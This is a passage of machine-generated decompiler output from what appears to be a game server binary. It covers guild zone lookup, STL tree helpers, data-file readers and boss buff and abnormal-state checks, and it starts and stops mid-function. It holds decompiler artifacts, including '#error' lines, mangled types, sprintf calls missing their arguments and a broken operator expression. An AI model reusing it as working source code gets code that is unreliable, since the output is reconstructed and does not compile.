else v23 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v23 + 2048))(v23) == pCmd->nNo ) { if ( v10 < v4->l_MaxSize && (v24 = v4->l_Array, v25 = v24[v9].ls_IsActiv, v26 = (int)&v24[v9], v25) ) v27 = *(_DWORD *)v26; else v27 = 0; (*(void (__stdcall **)(_DWORD, int))(*(_DWORD *)v27 + 2052))(0, v32); if ( v10 < v4->l_MaxSize && (v28 = (int)&v4->l_Array[v9], *(_BYTE *)(v28 + 8)) ) v29 = *(_DWORD *)v28; else v29 = 0; v32 = 0; (*(void (**)(void))(*(_DWORD *)v29 + 2056))(); if ( v10 < v4->l_MaxSize && (v30 = (int)&v4->l_Array[v9], *(_BYTE *)(v30 + 8)) ) (*(void (__thiscall **)(_DWORD))(**(_DWORD **)v30 + 1992))(*(_DWORD *)v30); else (*(void (__thiscall **)(_DWORD))(v0 + 1992))(0); } } v31 = CGuildZone::Find(thisa, pCmd->nNo); if ( !v31 ) return 0; thisa->gz_GuildList.vfptr->l_Free(&thisa->gz_GuildList, v31->gzl_ListHandle); return 1; } // 551FA0: could not find valid save-restore pair for ebp //----- (005521C0) -------------------------------------------------------- #error "5521C0: undefined or illegal type 'ListArray' (funcsize=91)" //----- (005522E0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00552300) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00552320) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00552340) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00552360) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 29) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 29) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 29); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 29); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (005523C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 37) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 37) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 37); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 37); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00552420) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x9Au, 0x64u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005524D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x58u, 0x47u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552580) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x160u, 0x51u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00552630) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sbbt_NextTick = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"); } //----- (00552690) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_BossAbstateSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"); } //----- (005526D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_BossAbstateGet(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_BossAbstateGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_BossAbstateGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 2220); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_BossAbstateGet"); return v2; } //----- (00552740) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005527A0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00552800) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00552860) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005528C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 29) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 29) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 29) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 29) ); if ( !*(_BYTE *)(v4 + 29) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 29); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00552920) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 37) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 37) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 37) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 37) ); if ( !*(_BYTE *)(v4 + 37) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 37); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00552980) -------------------------------------------------------- #error "552980: undefined or illegal type '#325' (funcsize=13)" //----- (005529B0) -------------------------------------------------------- std::list,std::allocator > >::iterator *__cdecl std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest) { std::list,std::allocator > >::iterator *v3; // ecx@1 std::list,std::allocator > >::iterator *result; // eax@1 int v5; // esi@2 v3 = _Last; for ( result = _Dest; v3 != _First; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5 ) { v5 = *(_DWORD *)&v3[-1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; --v3; --result; } return result; } //----- (005529E0) -------------------------------------------------------- ABSTATEINDEX *__cdecl std::copy(ABSTATEINDEX *_First, ABSTATEINDEX *_Last, ABSTATEINDEX *_Dest) { ABSTATEINDEX *v3; // ecx@1 ABSTATEINDEX *result; // eax@1 v3 = _First; for ( result = _Dest; v3 != _Last; ++result ) { *result = *v3; ++v3; } return result; } //----- (00552A10) -------------------------------------------------------- std::list,std::allocator > >::iterator *__cdecl std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::list,std::allocator > >::iterator *v5; // ecx@1 std::list,std::allocator > >::iterator *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v5->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v5; } return result; } //----- (00552A40) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x20u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; *(_DWORD *)&result->_Myval.sbt_Buffer = *(_DWORD *)&_Val->sbt_Buffer; result->_Myval.sbt_AbstateIndex = _Val->sbt_AbstateIndex; result->_Myval.sbt_Dictionary = _Val->sbt_Dictionary; result->_Myval.sbt_AbstateStrength = _Val->sbt_AbstateStrength; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00552A90) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x28u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; *(_DWORD *)&result->_Myval.maa_MobID = *(_DWORD *)&_Val->maa_MobID; result->_Myval.maa_ActionType = _Val->maa_ActionType; result->_Myval.maa_Abstate.Index = _Val->maa_Abstate.Index; result->_Myval.maa_Abstate.Strength = _Val->maa_Abstate.Strength; result->_Myval.maa_Abstate.Rate = _Val->maa_Abstate.Rate; result->_Myval.maa_Abstate.Range = _Val->maa_Abstate.Range; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00552AF0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x20u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00552B30) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x28u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00552B70) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00552BB0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00552BF0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>(std::list,std::allocator > >::iterator *_First, unsigned int _Count, std::list,std::allocator > >::iterator *_Val, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 std::list,std::allocator > >::iterator *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) *(_DWORD *)&v6->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Val->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v6; --v5; } while ( v5 ); } } //----- (00552C20) -------------------------------------------------------- int __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(BossFieldContent::MobAbstateCheckAtDead *this, List *lst) { BossFieldContent::MobAbstateCheckAtDead *v2; // ebx@1 ABSTATEINDEX *v3; // ecx@1 int result; // eax@3 List *v5; // ebp@4 unsigned __int16 v6; // di@5 unsigned __int16 v7; // si@6 ListStruct *v8; // ecx@7 int v9; // eax@7 bool v10; // cf@7 int v11; // eax@8 char *v12; // eax@10 ABSTATEINDEX *v13; // edx@10 ABSTATEINDEX *v14; // ecx@10 int v15; // eax@16 unsigned __int16 v16; // si@16 unsigned __int16 v17; // di@17 ListStruct *v18; // ecx@18 int v19; // eax@18 unsigned __int16 v20; // dx@18 int v21; // eax@19 ORErrorMessage *v22; // eax@20 AbnormalStateContainer::AbstateElementInObject *v23; // eax@22 int v24; // eax@22 int v25; // esi@22 ListTraveler lt; // [sp+4h] [bp-18h]@16 int v27; // [sp+18h] [bp-4h]@1 int lsta; // [sp+20h] [bp+4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->macad_List._Myfirst; v27 = 0; if ( v3 && v2->macad_List._Mylast - v3 ) { v5 = lst; if ( v2->macad_Type ) { lt.lt_CurrElement = lst->l_MaxSize; v15 = lst->l_Finger.store; lt.lt_Default = 0; v16 = lst->l_Array[v15].ls_Next; lt.lt_List = lst; while ( 1 ) { v17 = lst->l_MaxSize; if ( v16 >= v17 ) break; v18 = lst->l_Array; v19 = v16; v20 = v16; v10 = v16 < v17; v16 = v18[v16].ls_Next; lt.lt_CurrElement = v20; if ( !v10 ) break; v21 = (int)&v18[v19]; if ( !*(_BYTE *)(v21 + 8) ) break; v22 = *(ORErrorMessage **)v21; if ( !v22 ) break; if ( *(char **)v2->macad_List._Myfirst == ORErrorMessage::orem_GetMessage(v22) ) { lt.lt_NextElement = v16; v23 = ListTraveler::operator_(<); v24 = AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(v23); --funcallanalizer.fca_stackpoint; v25 = v24; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); return v25; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = 0; } else { v6 = lst->l_Array[lst->l_Finger.store].ls_Next; lsta = 0; while ( 1 ) { v7 = v5->l_MaxSize; if ( v6 >= v7 ) break; v8 = v5->l_Array; v9 = v6; v10 = v6 < v7; v6 = v8[v6].ls_Next; if ( !v10 ) break; v11 = (int)&v8[v9]; if ( !*(_BYTE *)(v11 + 8) ) break; if ( !*(_DWORD *)v11 ) break; v12 = ORErrorMessage::orem_GetMessage(*(ORErrorMessage **)v11); v13 = v2->macad_List._Mylast; v14 = v2->macad_List._Myfirst; if ( v14 != v13 ) { do { if ( *(char **)v14 == v12 ) break; ++v14; } while ( v14 != v13 ); if ( v14 != v13 ) ++lsta; } } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = lsta; } } else { --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = 0; } return result; } //----- (00552E50) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::find(...) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.sbt_Buffer >= _Keyval->sbt_Buffer ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->sbt_Buffer < v3->_Myval.sbt_Buffer ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00552EC0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, BossFieldContent::MobAutomaticAction *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.maa_MobID >= _Keyval->maa_MobID ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->maa_MobID < v3->_Myval.maa_MobID ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00552F30) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ucopy(std::allocator,std::allocator > >::iterator> *_Al, std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *__formal) { return std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (00552F50) -------------------------------------------------------- BossFieldContent::ServentBuffBossTable::ServentBossTable *__thiscall BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer(BossFieldContent::ServentBuffBossTable *this, unsigned __int16 ID) { BossFieldContent::ServentBuffBossTable *v2; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 BossFieldContent::ServentBuffBossTable::ServentBossTable *result; // eax@2 BossFieldContent::ServentBuffBossTable::ServentBossTable *v5; // esi@3 BossFieldContent::ServentBuffBossTable::ServentBossTable key; // [sp+4h] [bp-1Ch]@1 int v7; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; key.sbt_Buffer = ID; std::_Tree_std::allocator_0>>::find( &v2->sbbt_List.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&ID, &key); v3 = v2->sbbt_List.baseclass_0._Myhead; --funcallanalizer.fca_stackpoint; v7 = -1; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)ID == v3 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); result = 